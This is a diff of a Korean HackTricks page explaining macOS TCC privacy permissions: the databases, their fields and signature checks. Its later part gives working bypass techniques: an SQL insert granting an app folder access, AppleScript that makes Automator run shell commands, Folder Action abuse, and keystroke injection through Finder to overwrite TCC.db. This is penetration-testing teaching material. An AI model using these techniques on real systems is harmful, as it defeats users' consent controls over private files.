* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **회사가 HackTricks에서 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
\*\*TCC (Transparency, Consent, and Control)\*\*는 애플리케이션 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크로폰, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 승인하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다.
|
||||
**TCC (투명성, 동의 및 제어)**는 응용 프로그램 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 승인하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호 및 사용자 데이터에 대한 제어를 강화합니다.
|
||||
|
||||
사용자는 애플리케이션이 보호된 기능에 액세스를 요청할 때 TCC를 만납니다. 이는 사용자가 **액세스를 승인하거나 거부**할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한 TCC는 **파일을 애플리케이션으로 끌어다 놓는** 등의 직접적인 사용자 작업을 수용하여 특정 파일에 대한 액세스를 허용함으로써 애플리케이션이 명시적으로 허용된 것만 액세스하도록 보장합니다.
|
||||
|
||||
![TCC 프롬프트 예시](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC**는 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`에 위치한 **데몬**에 의해 처리되며 `/System/Library/LaunchDaemons/com.apple.tccd.system.plist`에서 구성됩니다 (`com.apple.tccd.system` 맥 서비스를 등록함).
|
||||
**TCC**는 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`에 위치한 **데몬**에 의해 처리되며 `/System/Library/LaunchDaemons/com.apple.tccd.system.plist`에서 구성됩니다 (`com.apple.tccd.system` mach 서비스를 등록함).
|
||||
|
||||
로그인한 사용자 당 **사용자 모드 tccd**가 정의된 `/System/Library/LaunchAgents/com.apple.tccd.plist`에서 실행되며 `com.apple.tccd` 및 `com.apple.usernotifications.delegate.com.apple.tccd` 맥 서비스를 등록합니다.
|
||||
로그인한 사용자 당 **사용자 모드 tccd**가 정의된 `/System/Library/LaunchAgents/com.apple.tccd.plist`에서 실행되며 `com.apple.tccd` 및 `com.apple.usernotifications.delegate.com.apple.tccd` mach 서비스를 등록합니다.
|
||||
|
||||
여기서 시스템 및 사용자로 실행되는 tccd를 볼 수 있습니다:
|
||||
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
|
||||
허가는 **상위 애플리케이션에서 상속**되며 **Bundle ID** 및 **개발자 ID**에 따라 **추적**됩니다.
|
||||
|
||||
### TCC 데이터베이스
|
||||
|
||||
허용/거부 사항은 일부 TCC 데이터베이스에 저장됩니다:
|
||||
|
||||
* \*\*`/Library/Application Support/com.apple.TCC/TCC.db`\*\*에있는 시스템 전체 데이터베이스.
|
||||
* **`/Library/Application Support/com.apple.TCC/TCC.db`**에있는 시스템 전체 데이터베이스.
|
||||
* 이 데이터베이스는 **SIP로 보호**되어 있어 SIP 우회만 쓸 수 있습니다.
|
||||
* 사용자 TCC 데이터베이스 \*\*`$HOME/Library/Application Support/com.apple.TCC/TCC.db`\*\*는 사용자별 환경 설정을 위해 사용됩니다.
|
||||
* 사용자 TCC 데이터베이스 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**는 사용자별 환경 설정을 위해 사용됩니다.
|
||||
* 이 데이터베이스는 Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다 (하지만 SIP로 보호되지는 않음).
|
||||
|
||||
{% hint style="warning" %}
|
||||
이전 데이터베이스는 **읽기 액세스를 위해 TCC로 보호**됩니다. 따라서 TCC 권한이 있는 프로세스가 아니라면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.
|
||||
이전 데이터베이스도 **읽기 액세스를 위해 TCC로 보호**됩니다. 따라서 TCC 권한이 있는 프로세스가 아니라면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.
|
||||
|
||||
그러나 **FDA** 또는 \*\*`kTCCServiceEndpointSecurityClient`\*\*와 같은 높은 권한을 가진 프로세스는 사용자 TCC 데이터베이스를 쓸 수 있습니다.
|
||||
그러나 **FDA** 또는 **`kTCCServiceEndpointSecurityClient`**와 같은 높은 권한을 가진 프로세스는 사용자 TCC 데이터베이스를 쓸 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
* **세 번째** TCC 데이터베이스는 \*\*`/var/db/locationd/clients.plist`\*\*에 위치하며 위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 액세스도 보호됨)에는 모든 **유효한 TCC 데이터베이스의 위치**가 포함되어 있습니다.
|
||||
* **`/var/db/locationd/clients.plist`**에 있는 **세 번째** TCC 데이터베이스는 **위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다**.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 액세스도 보호됨)에는 **유효한 TCC 데이터베이스의 위치**가 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC로 읽기 액세스도 보호됨)에는 더 많은 TCC 허가 권한이 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)은 TCC 예외가 필요한 응용 프로그램의 허용 목록입니다.
|
||||
* SIP로 보호된 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)은 TCC 예외가 필요한 애플리케이션의 허용 목록입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS**의 TCC 데이터베이스는 \*\*`/private/var/mobile/Library/TCC/TCC.db`\*\*에 있습니다.
|
||||
**iOS**의 TCC 데이터베이스는 **`/private/var/mobile/Library/TCC/TCC.db`**에 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -125,19 +123,18 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 허용하지 않은 권한을 확인할 수 있습니다 (요청할 것입니다).
|
||||
두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 가지지 않은 권한을 확인할 수 있습니다(요청할 것입니다).
|
||||
{% endhint %}
|
||||
|
||||
* \*\*`service`\*\*는 TCC **권한** 문자열 표현입니다.
|
||||
* \*\*`client`\*\*는 권한이 있는 번들 ID 또는 이진 파일의 경로입니다.
|
||||
* \*\*`client_type`\*\*은 번들 식별자(0)인지 아니면 절대 경로(1)인지를 나타냅니다.
|
||||
* **`service`**는 TCC **권한** 문자열 표현입니다.
|
||||
* **`client`**는 권한을 가진 **번들 ID** 또는 **바이너리 경로**입니다.
|
||||
* **`client_type`**은 번들 식별자(0)인지 아니면 절대 경로(1)인지를 나타냅니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>절대 경로인 경우 실행하는 방법</summary>
|
||||
|
||||
절대 경로인 경우 \*\*`launctl load you_bin.plist`\*\*를 실행하면 됩니다. plist 파일은 다음과 같습니다:
|
||||
<summary>절대 경로인 경우 실행 방법</summary>
|
||||
|
||||
절대 경로인 경우 **`launctl load you_bin.plist`**를 실행하십시오. plist는 다음과 같습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -174,13 +171,11 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
* \*\*`auth_value`\*\*는 다양한 값들을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3).
|
||||
* \*\*`auth_reason`\*\*은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq** 필드는 실행할 이진 파일을 확인하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다:
|
||||
|
||||
* **`auth_value`**는 다양한 값들을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3).
|
||||
* **`auth_reason`**은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq** 필드는 실행할 이진 파일을 검증하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -196,17 +191,15 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
|
||||
* 테이블의 **다른 필드**에 대한 자세한 정보는 [**이 블로그 포스트**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)를 확인하세요.
|
||||
* 테이블의 **다른 필드**에 대한 자세한 정보는 [**이 블로그 포스트**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)를 확인하십시오.
|
||||
|
||||
또한 `시스템 환경설정 --> 보안 및 개인 정보 보호 --> 개인 정보 --> 파일 및 폴더`에서 앱에 **이미 부여된 권한**을 확인할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
사용자는 \*\*`tccutil`\*\*을 사용하여 **룰을 삭제하거나 쿼리**할 수 있습니다.
|
||||
사용자는 **`tccutil`**을 사용하여 **룰을 삭제하거나 쿼리**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
#### TCC 권한 재설정
|
||||
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
|
@ -214,10 +207,9 @@ tccutil reset All app.some.id
|
|||
# Reset the permissions granted to all apps
|
||||
tccutil reset All
|
||||
```
|
||||
|
||||
### TCC 서명 확인
|
||||
|
||||
TCC **데이터베이스**는 애플리케이션의 **번들 식별자**를 저장하지만, **권한을 사용하려는** 앱이 올바른지 확인하기 위해 **서명에 대한 정보**도 저장합니다.
|
||||
TCC **데이터베이스**는 애플리케이션의 **번들 식별자**를 저장하지만, **권한을 사용하려는** 앱이 올바른지 확인하기 위해 **서명에 대한 정보**도 **저장**합니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -240,12 +232,11 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
### 엔타이틀먼트 및 TCC 권한
|
||||
|
||||
앱들은 **일부 리소스에 대한 액세스 권한을 요청**하고 부여받는 것뿐만 아니라 **관련 엔타이틀먼트**를 가져야 합니다.\
|
||||
예를 들어 **Telegram**은 카메라에 액세스하기 위해 `com.apple.security.device.camera` 엔타이틀먼트를 가지고 있습니다. 이 **엔타이틀먼트가 없는 앱은** 카메라에 액세스할 수 없으며 (사용자에게 권한을 요청하지도 않음).
|
||||
예를 들어 **Telegram**은 카메라에 액세스하기 위해 `com.apple.security.device.camera` 엔타이틀먼트를 가지고 있습니다. 이 **엔타이틀먼트가 없는 앱은** 카메라에 액세스할 수 없습니다(사용자에게 권한을 요청조차 하지 않을 것입니다).
|
||||
|
||||
그러나 앱이 `~/Desktop`, `~/Downloads`, `~/Documents`와 같은 **특정 사용자 폴더에 액세스**하려면 특정 **엔타이틀먼트가 필요하지 않습니다.** 시스템은 액세스를 투명하게 처리하고 필요할 때 **사용자에게 프롬프트를 표시**합니다.
|
||||
|
||||
애플의 앱들은 **프롬프트를 생성하지 않습니다.** 그들은 **엔타이틀먼트 목록에 사전 부여된 권한**을 포함하고 있으며, 이는 **팝업을 생성하지 않을 뿐만 아니라** TCC 데이터베이스 중 어디에도 나타나지 않을 것입니다. 예를 들어:
|
||||
그러나 앱이 `~/Desktop`, `~/Downloads`, `~/Documents`와 같은 **특정 사용자 폴더에 액세스**하려면 **특정 엔타이틀먼트가 필요하지 않습니다.** 시스템은 액세스를 투명하게 처리하고 필요할 때 **사용자에게 프롬프트를 표시**합니다.
|
||||
|
||||
애플의 앱들은 **프롬프트를 생성하지 않습니다.** 그들은 **엔타이틀먼트 목록에 사전 부여된 권한**을 포함하고 있으며, 이는 **팝업을 생성하지 않을 뿐만 아니라** 어떤 **TCC 데이터베이스에도 나타나지 않을 것**입니다. 예를 들어:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -256,14 +247,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
|
||||
이렇게 하면 Calendar이 사용자에게 알림, 캘린더 및 주소록에 액세스할 것을 요청하지 않습니다.
|
||||
이렇게 하면 캘린더가 사용자에게 알림, 캘린더 및 주소록에 액세스할 것을 요청하지 않습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
공식 문서 외에도 [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)에서 **권한에 관한 흥미로운 비공식 정보를 찾을 수 있습니다**.
|
||||
공식 문서 외에도 권한에 관한 비공식 **흥미로운 정보를** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)에서 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
일부 TCC 권한은 다음과 같습니다: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 이들을 모두 정의하는 공개 목록은 없지만 [알려진 목록](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다.
|
||||
일부 TCC 권한은 다음과 같습니다: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 이들을 모두 정의하는 공개 목록은 없지만 [**알려진 목록**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다.
|
||||
|
||||
### 민감한 보호되지 않은 위치
|
||||
|
||||
|
@ -273,8 +263,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
|
||||
### 사용자 의도 / com.apple.macl
|
||||
|
||||
이전에 언급했듯이 **파일을 앱에 드래그앤드롭하여 해당 파일에 대한 액세스를 허용할 수 있습니다**. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 **파일의 확장된 속성으로 저장됩니다**. 이 속성은 허용된 앱의 **UUID를 저장**할 것입니다:
|
||||
|
||||
이전에 언급한 대로 **파일을 앱에 드래그앤드롭하여 해당 앱에 대한 액세스를 허용**할 수 있습니다. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 **파일의 확장된 속성**으로 저장됩니다. 이 속성은 허용된 앱의 UUID를 **저장**할 것입니다.
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -289,44 +278,87 @@ Filename,Header,App UUID
|
|||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
**`com.apple.macl`** 속성이 **Sandbox**에 의해 관리되고 있고 tccd가 아닌 것이 신기합니다.
|
||||
**`com.apple.macl`** 속성이 **Sandbox**에 의해 관리되고 tccd가 아닌 것이 신기합니다.
|
||||
|
||||
또한 컴퓨터 내의 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 액세스 권한이 부여되지 않습니다.
|
||||
또한 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하는 경우, 동일한 앱이 다른 UID를 갖게되므로 해당 앱에 액세스 권한이 부여되지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
확장 속성 `com.apple.macl`은 다른 확장 속성과 달리 **SIP에 의해 보호**되어 있어 **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 것처럼**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고, **삭제**한 다음 **압축을 푸는** 방법으로 비활성화할 수 있습니다.
|
||||
확장 속성 `com.apple.macl`은 다른 확장 속성과 달리 **SIP에 의해 보호**되어 있어서 **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 것처럼**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고, **삭제**한 다음 **압축을 푸는** 방법으로 비활성화할 수 있습니다.
|
||||
|
||||
## TCC 권한 상승 및 우회
|
||||
|
||||
### TCC에 삽입
|
||||
|
||||
어느 순간 TCC 데이터베이스에 쓰기 액세스를 얻게 되면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다 (주석을 제거하세요):
|
||||
어느 순간 TCC 데이터베이스에 쓰기 액세스를 얻게 되면 다음과 같은 내용을 사용하여 항목을 추가할 수 있습니다 (주석 제거):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>TCC에 삽입 예시</summary>
|
||||
|
||||
\`\`\`sql INSERT INTO access ( service, client, client\_type, auth\_value, auth\_reason, auth\_version, csreq, policy\_id, indirect\_object\_identifier\_type, indirect\_object\_identifier, indirect\_object\_code\_identity, flags, last\_modified, pid, pid\_version, boot\_uuid, last\_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client\_type (0 - bundle id) 2, -- auth\_value (2 - allowed) 3, -- auth\_reason (3 - "User Set") 1, -- auth\_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy\_id NULL, -- indirect\_object\_identifier\_type 'UNUSED', -- indirect\_object\_identifier - default value NULL, -- indirect\_object\_code\_identity 0, -- flags strftime('%s', 'now'), -- last\_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid\_version is an integer and optional 'UNUSED', -- default value for boot\_uuid strftime('%s', 'now') -- last\_reminded with default current timestamp ); \`\`\`
|
||||
|
||||
```sql
|
||||
INSERT INTO access (
|
||||
service,
|
||||
client,
|
||||
client_type,
|
||||
auth_value,
|
||||
auth_reason,
|
||||
auth_version,
|
||||
csreq,
|
||||
policy_id,
|
||||
indirect_object_identifier_type,
|
||||
indirect_object_identifier,
|
||||
indirect_object_code_identity,
|
||||
flags,
|
||||
last_modified,
|
||||
pid,
|
||||
pid_version,
|
||||
boot_uuid,
|
||||
last_reminded
|
||||
) VALUES (
|
||||
'kTCCServiceSystemPolicyDesktopFolder', -- service
|
||||
'com.googlecode.iterm2', -- client
|
||||
0, -- client_type (0 - bundle id)
|
||||
2, -- auth_value (2 - allowed)
|
||||
3, -- auth_reason (3 - "User Set")
|
||||
1, -- auth_version (always 1)
|
||||
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
|
||||
NULL, -- policy_id
|
||||
NULL, -- indirect_object_identifier_type
|
||||
'UNUSED', -- indirect_object_identifier - default value
|
||||
NULL, -- indirect_object_code_identity
|
||||
0, -- flags
|
||||
strftime('%s', 'now'), -- last_modified with default current timestamp
|
||||
NULL, -- assuming pid is an integer and optional
|
||||
NULL, -- assuming pid_version is an integer and optional
|
||||
'UNUSED', -- default value for boot_uuid
|
||||
strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||
);
|
||||
```
|
||||
</details>
|
||||
|
||||
### TCC 페이로드
|
||||
|
||||
어떤 앱 안으로 들어가 TCC 권한을 얻었다면 다음 페이지를 확인하여 TCC 페이로드를 악용해보세요:
|
||||
앱 내부에 일부 TCC 권한을 획들했다면 다음 페이지에서 해당 권한을 악용할 수 있는 TCC 페이로드를 확인하세요:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Apple 이벤트
|
||||
|
||||
Apple 이벤트에 대해 알아보세요:
|
||||
|
||||
{% content-ref url="macos-apple-events.md" %}
|
||||
[macos-apple-events.md](macos-apple-events.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 자동화 (Finder) to FDA\*
|
||||
|
||||
자동화 권한의 TCC 이름은: **`kTCCServiceAppleEvents`**\
|
||||
이 특정 TCC 권한은 또한 TCC 데이터베이스 내에서 **관리할 수 있는 애플리케이션**을 나타냅니다 (따라서 권한은 모든 것을 관리할 수 있는 것이 아닙니다).
|
||||
|
||||
**Finder**는 **항상 FDA를 가지고** 있습니다 (UI에 나타나지 않더라도), 따라서 **자동화** 권한을 가지고 있다면 해당 권한을 악용하여 **일부 작업을 수행**할 수 있습니다.\
|
||||
이 경우 앱은 \*\*`com.apple.Finder`\*\*에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다.
|
||||
**Finder**는 **항상 FDA를 가지고** 있는 애플리케이션입니다 (UI에 나타나지 않더라도), 따라서 **자동화** 권한을 가지고 있다면 해당 권한을 악용하여 **일부 작업을 수행**할 수 있습니다.\
|
||||
이 경우 앱은 **`com.apple.Finder`**에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="사용자 TCC.db 도용하기" %}
|
||||
|
@ -359,35 +391,48 @@ EOD
|
|||
이를 악용하여 **자체 사용자 TCC 데이터베이스를 작성**할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 권한으로 **Finder에게 TCC 제한 폴더에 액세스할 것을 요청**하고 파일을 제공할 수 있지만, afaik로 **Finder가 임의의 코드를 실행하도록 만들 수는 없을 것**입니다. 그래서, Finder가 완전히 FDA 액세스를 악용하는 것은 불가능할 것입니다.
|
||||
이 권한으로 **파인더에 TCC 제한 폴더에 액세스하도록 요청**하고 파일을 제공할 수 있지만, afaik로 **파인더가 임의의 코드를 실행하도록 만들 수는 없습니다** FDA 액세스를 완전히 악용할 수 없습니다.
|
||||
|
||||
따라서 전체 FDA 기능을 악용할 수 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
이것은 Finder에 대한 자동화 권한을 얻기 위한 TCC 프롬프트입니다:
|
||||
이것은 파인더에 대한 자동화 권한을 얻기 위한 TCC 프롬프트입니다:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (24).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Automator** 앱이 **`kTCCServiceAppleEvents`** TCC 권한을 가지고 있기 때문에 **Finder와 같은 모든 앱을 제어**할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드로 **Finder**를 제어할 수도 있습니다:
|
||||
**Automator** 앱이 TCC 권한 **`kTCCServiceAppleEvents`**을 가지고 있기 때문에 **파인더와 같은 모든 앱을 제어**할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드로 **Finder**를 제어할 수도 있습니다:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Automator 내부에서 셸 가져오기</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
||||
\`\`\`applescript osascript<
|
||||
|
||||
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND\_STRING" to theScript end tell execute it end tell activate end tell EOD
|
||||
|
||||
## Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
|
||||
````
|
||||
tell application "Automator"
|
||||
set actionID to Automator action id "com.apple.RunShellScript"
|
||||
tell (make new workflow)
|
||||
add actionID to it
|
||||
tell last Automator action
|
||||
set value of setting "inputMethod" to 1
|
||||
set value of setting "COMMAND_STRING" to theScript
|
||||
end tell
|
||||
execute it
|
||||
end tell
|
||||
activate
|
||||
end tell
|
||||
EOD
|
||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
```
|
||||
</details>
|
||||
|
||||
**스크립트 편집기 앱**도 마찬가지입니다. Finder를 제어할 수 있지만 AppleScript를 사용하여 스크립트를 실행하도록 강제할 수는 없습니다.
|
||||
|
||||
### 자동화 (SE)에서 일부 TCC로
|
||||
|
||||
**시스템 이벤트는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더에 액세스할 수 있습니다** (바탕화면, 문서 및 다운로드), 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다:
|
||||
**시스템 이벤트는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더에 액세스할 수 있습니다** (데스크톱, 문서 및 다운로드), 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -428,14 +473,12 @@ EOD
|
|||
# File operations in the folder should trigger the Folder Action
|
||||
touch "$HOME/Desktop/file"
|
||||
rm "$HOME/Desktop/file"
|
||||
````
|
||||
```
|
||||
### 자동화 (SE) + 접근성 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\*
|
||||
|
||||
#### 자동화 (SE) + 접근성 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\*
|
||||
|
||||
**`System Events`에서의 자동화 + 접근성 (`kTCCServicePostEvent`**)을 통해 **프로세스에 키 입력을 보낼 수 있습니다**. 이렇게 하면 Finder를 남의 TCC.db를 변경하거나 임의의 앱에 FDA를 부여할 수 있습니다 (비밀번호가 요청될 수 있음).
|
||||
|
||||
Finder가 사용자의 TCC.db를 덮어쓰는 예시:
|
||||
**`System Events`**에서의 자동화 + 접근성 (**`kTCCServicePostEvent`**)을 통해 **프로세스에 키 입력을 보낼 수 있습니다**. 이렇게 하면 Finder를 남의 TCC.db를 변경하거나 임의의 앱에 FDA를 부여할 수 있습니다 (비밀번호가 요청될 수 있음).
|
||||
|
||||
Finder가 사용자 TCC.db를 덮어쓰는 예시:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -481,52 +524,48 @@ keystroke "v" using {command down}
|
|||
end tell
|
||||
EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility`를 FDA\*로
|
||||
|
||||
#### `kTCCServiceAccessibility`를 FDA\*로
|
||||
